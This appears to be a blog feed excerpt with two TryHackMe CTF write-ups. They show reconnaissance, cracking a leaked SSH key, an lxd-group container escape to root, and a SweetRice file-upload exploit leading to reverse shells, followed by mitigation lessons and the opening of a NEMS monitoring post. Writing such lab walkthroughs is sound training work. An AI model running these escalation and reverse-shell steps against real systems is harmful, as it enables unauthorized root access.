        <link href="/2021/06/18/CTF-Writeup-tryhackme.com-Skynet/"/>
        <guid isPermaLink="true">/2021/06/18/CTF-Writeup-tryhackme.com-Skynet/</guid>
      </item>
    
      <item>
        <title>CTF Writeup: tryhackme.com GamingServer</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;In this post, I will do another tryhackme.com CTF writeup. This time, we will go over the steps taken to compromise a very poorly-configured gaming server. You can find the room &lt;a href=&quot;https://tryhackme.com/room/gamingserver&quot;&gt;here&lt;/a&gt;. The introduction to this room states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Can you gain access to this gaming server built by amateurs with no experience of web development and take advantage of the deployment system?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Yes. Yes, I think we can. As always, we will first need to connect to the tryhackme.com network via VPN. If you have never done so before, you can find the relevant information and configuration file &lt;a href=&quot;https://tryhackme.com/access&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;reconnaissance&quot;&gt;Reconnaissance&lt;/h1&gt;

&lt;p&gt;After we’ve spun up the machine in the room, we can now access it. Let’s begin with a standard nmap scan. In my case, the machine is at IP address 10.10.8.222. First the nmap scan:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sC -sV 10.10.8.222
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot1_2021-06-10-19-29-20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we know we’ve confirmed there is a web server running, as denoted by Apache running on port 80, let’s quickly take a look at the site before we run our gobuster scan. Navigating to the server in our web browser yields the following site:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot2_2021-06-10-19-46-03.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There is a bunch of lorem ipsum and most of the links are dead or route back to the main page. There doesn’t appear to be anything here all that interesting. Let’s take a quick look at the html:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot3_2021-06-10-20-08-48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At the end of the html is a comment stating:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“john, please add some actual content to the site! lorem ipsum is horrible to look at.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That could potentially be a user name, so let’s tuck that away in our notes for now. Next, we will run a gobuster scan using the common.txt wordlist (which you can find &lt;a href=&quot;https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gobuster -u http://10.10.8.222 -w /usr/share/wordlists/gobuster/common.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot4_2021-06-10-20-19-24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The results of the scan indicate several directories that we have acess to, including /secret and /uploads, as well as a robots.txt file. Let’s see what’s in the hilariously-named /secret directory.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot6_2021-06-11-10-17-51.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see a directory listing with a file called secretKey, so let’s take a look at that:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot7_2021-06-11-10-20-32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Well, the description of this room said that this server was built by amateurs with no web development experience. Here they’ve placed a private RSA key in a public-facing directory.&lt;/p&gt;

&lt;h1 id=&quot;initial-access&quot;&gt;Initial Access&lt;/h1&gt;

&lt;p&gt;We may be able to use this key along with the john username to gain access to the machine via ssh. Let’s give it a try now and see if it works. First, we pull down the key using curl. Note that the IP address of the server is different than before because I worked on this post over several different sessions.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -o id_rsa_gamingserver http://10.10.221.45/secret/secretKey
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot8_2021-06-11-10-32-08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once we have it, we can attempt to use it to log in to the machine using the john username:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh -i id_rsa_gamingserver john@10.10.221.45
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot9_2021-06-11-10-59-07.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We get a message that we don’t have the correct permissions set on the key file. Let’s change it so that it is readable only by the owner:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;chmod 400 id_rsa_gamingserver
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we try again:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot10_2021-06-11-11-03-42.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It appears that the key is passphrase-protected. We will have to try and crack it. For that we can use john the ripper and ssh2john (not to be confused with the username in this case). First we will use ssh2john to convert it to a hash file for john the ripper to use, saving it to a file called gamingserver.hash:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./ssh2john.py ~/id_rsa_gamingserver &amp;gt; gamingserver.hash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that we have the hash file, we can plug it into john the ripper and try to crack it using the rockyou wordlist (available &lt;a href=&quot;https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt&quot;&gt;here&lt;/a&gt;). Note that in the image below, I’ve moved into the directory where I keep the compiled code for john the ripper:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_gamingserver.hash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot11_2021-06-11-12-07-20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This private key was protected with a very weak passphrase (redacted). Now that we have it, we can again try to log into the server with the private key, providing the passphrase when prompted:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh -i id_rsa_gamingserver john@10.10.221.45
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It worked. We are now logged in to the server as john, as confirmed by the results of the whoami command. The user flag is right here in the user’s home directory:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h1&gt;

&lt;p&gt;Now that we have that, we can move on to getting the root flag. To do that, we’ll obviously need to escalate our privileges to root. Let’s enumerate the machine using the LinEnum script (which you can find &lt;a href=&quot;https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh&quot;&gt;here&lt;/a&gt;) to identify any potential security misconfigurations. First, well need to get a copy of the script on to the server. Since we have an ssh key, let’s just use secure copy. Here I’ve already downloaded LinEnum.sh to my home directory on my attacking machine. We can use scp along with our ssh key to do this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;scp -i id_rsa_gamingserver ~/LinEnum.sh john@10.10.221.45:~
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we go back to our shell on the gaming server and give ourselves execute privileges on the file using:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;chmod +x LinEnum.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we can run the script. Because it creates a lot of output, I’m going to save it to a file named LinEnum.log instead of printing to standard output:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./LinEnum.sh &amp;gt; LinEnum.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m not going to display the output of this script because it’s too big, but if you are following along, you’ll have your own copy to look at. I’ll be honest in that I had trouble finding anything exploitable when looking through the results. After a while however, I noticed this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[00;33m[+] We&apos;re a member of the (lxd) group - could possibly misuse these rights! [00m
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Under other circumstances, I probably would not have given this a second glance, but I remembered that this tryhackme room was tagged with “lxd”. So, we are most certainly expected to use this in some way. I’m not very familiar with lxd other than the fact that its some type of hybrid containerization/virtualization technology-ish thingamajig for Linux. But apparently the fact that john is in the lxd group gives us a privilege escalation technique. Researching this a bit further, I found &lt;a href=&quot;https://www.hackingarticles.in/lxd-privilege-escalation/&quot;&gt;this&lt;/a&gt; article, which not only explains lxd, but provides the steps for this particular privesc technique. I will be using the steps laid out by the author in this section, so all credit to him.&lt;/p&gt;

&lt;p&gt;In order to pull off this exploit, we first need a running container on the server. In order to do that we’ll need something to run in that container. Here we will use &lt;a href=&quot;https://github.com/saghul/lxd-alpine-builder&quot;&gt;alpine-builder&lt;/a&gt; to create an Alpine Linux image that can be used with lxd. Alpine is beneficial in this case due to its small size. First we clone the github repo and then build the image on our attacking machine:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone  https://github.com/saghul/lxd-alpine-builder.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, cd into the newly-created directory and run the build-alpine script as root:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If all goes well, you should have a gzipped archive file in the directory called:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alpine-v3.13-x86_64-xxxxxxxx_xxxx.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;where the x’s will be the current date and time.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we will need to move the image over to the server. Again, we’ll use secure copy:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;scp -i ~/id_rsa_gamingserver alpine-v3.13-x86_64-20210611_1538.tar.gz john@10.10.161.106:~ 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next we go back to our shell on the gaming server and import the image into lxc:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then we initialize, configure and start the container with the following four commands:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;lxc init alpine ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We are now root in the container. We can access the host machine’s files as root by navigating to its root directory at /mnt/root/root. The flag can be found in the usual spot.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post6/Screenshot21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That’s it. We’ve fully compromised the machine and obtained both the user and root flags, completing the room.&lt;/p&gt;

&lt;h1 id=&quot;lessons-learned&quot;&gt;Lessons Learned&lt;/h1&gt;

&lt;p&gt;We were able to break into this machine fairly easily due to some comically-bad security configurations. In this scenario, the gaming server is said to be set up by people with no web development or server knowledge, so it doesn’t come as a surprise. What could the owners of the server have done in this case to mitigate these vulnerabilites?&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;First of all, there was the html comment on index.html that contained someone’s name. Potential usernames of a system should never be made available publicly.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;There was an ssh private key in a public facing web directory called /secret. A private key should never be seen by anyone other than the owner, let alone be made public. The administrator should remove this directory and tell john to immediately stop using the key. Then John should then generate a new key using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-keygen&lt;/code&gt; on their machine and copy the resulting public key over to the server using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh-copy-id&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The ssh private key was protected with a passphrase, which is good. However in this case, the passphrase was particularly weak and easily brute-forced. John should have chosen a more robust passphrase with a mix of uppercase, lowercase, digits, and symbols.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The fact the the john user was a member of the lxd group provided us with an exploit to elevate our privilege to root. Although there may be some cases in which a user would need to be a member of the lxd group, it was entirely unnecessary in this case because there were no containers running on the system and lxd was not in use. Therefore, there was no reason for john to be a member of the lxd group. The administrator should remove john from the lxd group using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpasswd -d john lxd&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

</description>
        <pubDate>Wed, 02 Jun 2021 00:00:00 -0400</pubDate>
        <link>//2021/06/02/CTF-Writeup-tryhackme.com-GamingServer/</link>
        <link href="/2021/06/02/CTF-Writeup-tryhackme.com-GamingServer/"/>
        <guid isPermaLink="true">/2021/06/02/CTF-Writeup-tryhackme.com-GamingServer/</guid>
      </item>
    
      <item>
        <title>CTF Writeup: tryhackme.com LazyAdmin</title>
        <description>&lt;p&gt;This is a write up of the LazyAdmin CTF at tryhackme.com. You can find the room &lt;a href=&quot;https://tryhackme.com/room/lazyadmin&quot;&gt;here&lt;/a&gt;. Based on the name, it’s a safe bet that the “admin” is lazy. Therefore we may want to be on the lookout for outdated or unpatched software with a known vulnerability, weak passwords, or default credentials; as these are all hallmarks of a lazy admin.&lt;/p&gt;

&lt;p&gt;After connecting to the tryhackme.com network over openvpn and starting up the machine, we are ready to go. Let’s ping the machine to verify our connection:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot1_2021-04-18 19-40-27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Starting out, we know nothing about the machine or what is running on it. Let’s begin with an nmap scan to see what services are running. We’ll tee that out to a file for later reference:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot2_2021-04-18_19-51-15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the scan we can see that this machine is running an ssh server and a web server. The web server is running Apache with the default page. Let’s visit the page in our browser:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot3_2021-04-18_20-03-46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We get the default page, confirming the results of the nmap scan. There isn’t anything terribly interesting so far. Let’s brute force directories using gobuster and tee the results out to a log again for future reference:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot4_2021-04-18_20-12-18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It looks like there is a directory called content which we can access. Let’s see what’s there:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot5_2021-04-18_20-16-02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’re presented with an “under construction” page for some type of content management system called SweetRice. Now we at least have something for which we could search for known vulnerabilites. It would be very hepful however if we could find a version number. There is a link on the page that takes us to the SweetRice website called “Tip for Basic CMS SweetRice installed”. Following the link takes us &lt;a href=&quot;http://www.basic-cms.org/docs/5-things-need-to-be-done-when-SweetRice-installed/&quot;&gt;here&lt;/a&gt;. Looking over it quick, there is a reference to a “/inc” directory where it states that important information is stored. There was no “/inc” directory in our gobuster scan, so let’s do another gobuster scan of the /content directory”. To do so, we can just tack /content onto the end of the url:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot6_2021-04-18_20-40-31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now the /inc directory shows up. I spent some time puttering around through these directories until I found something that might be a version number located in a file at /content/inc/lastest.txt. Perhaps this is a mispelling of “latest”?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot7_2021-04-18_20-43-56.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Opening it, we are presented simply with the text “1.5.1”, which could be a version number. Maybe? With that in hand, let’s check exploit-db for any CVEs:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot8_2021-04-18_20-53-30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It turns out that 1.5.1 is a valid version number for SweetRice. There are 5 CVE’s for this version. One is an &lt;a href=&quot;https://www.exploit-db.com/exploits/40716&quot;&gt;arbitrary file upload&lt;/a&gt;, which seems to be the most promising. There is a exploit already available in the form of a python script, but inspecting the code it appears to require authentication first. We don’t have any credentials at the moment, but let’s hold on to that in case we come across any.&lt;/p&gt;

&lt;p&gt;Taking a look at the Backup Disclosure, we see that this version of SweetRice also has something called “mysql bakup” that can be downloaded from /content/inc/mysql_bakup. Let’s go see what’s there:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot9_2021-04-18_21-07-21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sure enough there is a mysql script called mysql_bakup_20191129023059-1.5.1.sql. This confirms our version number again. Let’s go ahead and grab that:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot10_2021-04-18_21-09-59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Opening it up in a text editor and scanning though, there appears to be some credentials with a username of “manager” and a hashed password:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot11_2021-04-18_21-15-55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s toss that hash into hash-id.py, which you can grab &lt;a href=&quot;https://github.com/blackploit/hash-identifier/blob/master/hash-id.py&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot12_2021-04-18_21-32-15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looks like md5. Knowing that, let’s try to crack it using john the ripper and the rockyou password list. Here, I’ve saved the hash from the sql script into a file called sqlhash:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot13_2021-04-18_21-40-36.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Just like that we have the password (it’s been blacked out in the above image). There is just one problem. We haven’t actually found a login page yet. Let’s look for one. Revisiting our gobuster scan of the /content directory, we see that there is a directory /content/as. Here is our login page:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot14_2021-04-18_21-47-12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s try those credentials we found. They allow us to succesfully login and we are greeted with an admin panel.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot15_2021-04-18_21-49-57.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Great. Now that we’ve authenticated, we will attempt to use the arbitrary file upload python exploit that we got earlier to upload a php reverse shell script to the server and gain access. 
Let’s open it in a text editor to see how it works.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot16_2021-04-20_19-46-13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It looks like it does not accept command line arguments and instead prompts us for the information, which includes an IP address, username, password, and the file that we wish to upload. So, before we run this, we will need a reverse shell payload. I grabbed the one from &lt;a href=&quot;https://highon.coffee/blog/reverse-shell-cheat-sheet/#php-reverse-shell&quot;&gt;here&lt;/a&gt; and pasted into a text editor, changing the IP address to the machine o which I will set up a netcat listener on port 8080:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot17_2021-04-20_19-58-24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we save that as php_reverse_shell.php5 (or whatever you want). Then we can run the python exploit script, passing in our victim IP, username, password, and payload:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot18_2021-04-20_20-05-00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot19_2021-04-20_20-34-28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot20_2021-04-20_20-35-18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The script informs us that the upload was a success and that our payload is now at /content/attachment/php_reverse_shell.php5. Let’s verify:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot22_2021-04-20_21-08-48.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Great, it has indeed been uploaded. Now all we need to do is initialize a netcat listener on port 8080 on our machine:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot21_2021-04-20_20-20-58.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then click on that link to our uploaded script. Upon doing so, we should see a connection on our listener:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot23_2021-04-20_21-13-30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now let’s look for that user flag. Checking /home we see that there is one regular user on the system named “itguy”. Let’s see if they have the flag in their home directory:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot24_2021-04-20_21-18-11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There is it. We can cat it out and there is our user flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot25_2021-04-20_21-20-52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now let’s see if we can escalate our privileges to root and get the root flag. First, let’s see what commands we can run as root:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot26_2021-04-20_21-43-40.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It appears that itguy can run a perl script located in his home directory as root. Let’s see what that script does.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot27_2021-04-20_21-47-02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It looks like it executes a bash script /etc/copy.sh. Ok, what does that do?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot28_2021-04-20_21-52-13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It appears to send a reverse shell to a machine at IP address 192.168.0.190. Not only that, it is writable and executable for everyone. Looks like our work has already been done for us. Let’s change that IP address to our own machine. Here I just cat the file out, copy it and echo it back into the file, replacing the IP address with my own:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot29_2021-04-20_23-11-08.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now if we run backup.pl, it will execute /etc/copy.sh and connect back to a listener on our machine. Let’s set up that listener now:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot30_2021-04-20_22-30-29.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, we will run the backup.pl script using sudo:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot31_2021-04-20_23-15-19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Checking back on our listener, we now have a reverse shell as root!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot32_2021-04-20_23-16-39.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s get that flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post5/screenshot33_2021-04-20_23-18-55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That’s it. We’ve fully compromised this machine. In order to prevent this, the administrator should have updated the CMS, assuming an update was available. The admin should also have changed the password to something stronger and more resistant to cracking. Finally, having a reverse shell script easily executed with sudo priviliges was certainly a mistake. It was also bizarre because it was unclear what its purpose was to begin with.&lt;/p&gt;

&lt;p&gt;Anyway, this was a fun CTF. It was fairly easy, yet not so easy as to be trivial. I hope to do some more of these CTFs in the future.&lt;/p&gt;

</description>
        <pubDate>Sun, 18 Apr 2021 00:00:00 -0400</pubDate>
        <link>//2021/04/18/CTF-Writeup-tryhackme.com-LazyAdmin/</link>
        <link href="/2021/04/18/CTF-Writeup-tryhackme.com-LazyAdmin/"/>
        <guid isPermaLink="true">/2021/04/18/CTF-Writeup-tryhackme.com-LazyAdmin/</guid>
      </item>
    
      <item>
        <title>Monitoring home networks with NEMS Part 2: Monitoring Server Processes</title>
        <description>&lt;p&gt;&lt;em&gt;This is Part 2 of a 2-part post on using NEMS to monitor servers on a home network. You can find Part 1 &lt;a href=&quot;/2020/06/30/monitoring-home-networks-with-NEMS/&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In Part 1 of this series of posts, I went through the process of setting up &lt;a href=&quot;https://nemslinux.com/&quot;&gt;NEMS&lt;/a&gt; to monitor servers on a home network. I demonstrated setting up some basic monitoring intended to check that the servers were up and responding on some standard ports. One thing that we were not yet able to do after this initial setup was to monitor specific processes on a Linux server to make sure that they were currently running. In my case, I have an Ethereum mining server and I’d like NEMS to monitor that the mining process is up and running. To do this, we’ll need to install some additional software on our server and then set up NEMS to monitor the process via that software.&lt;/p&gt;

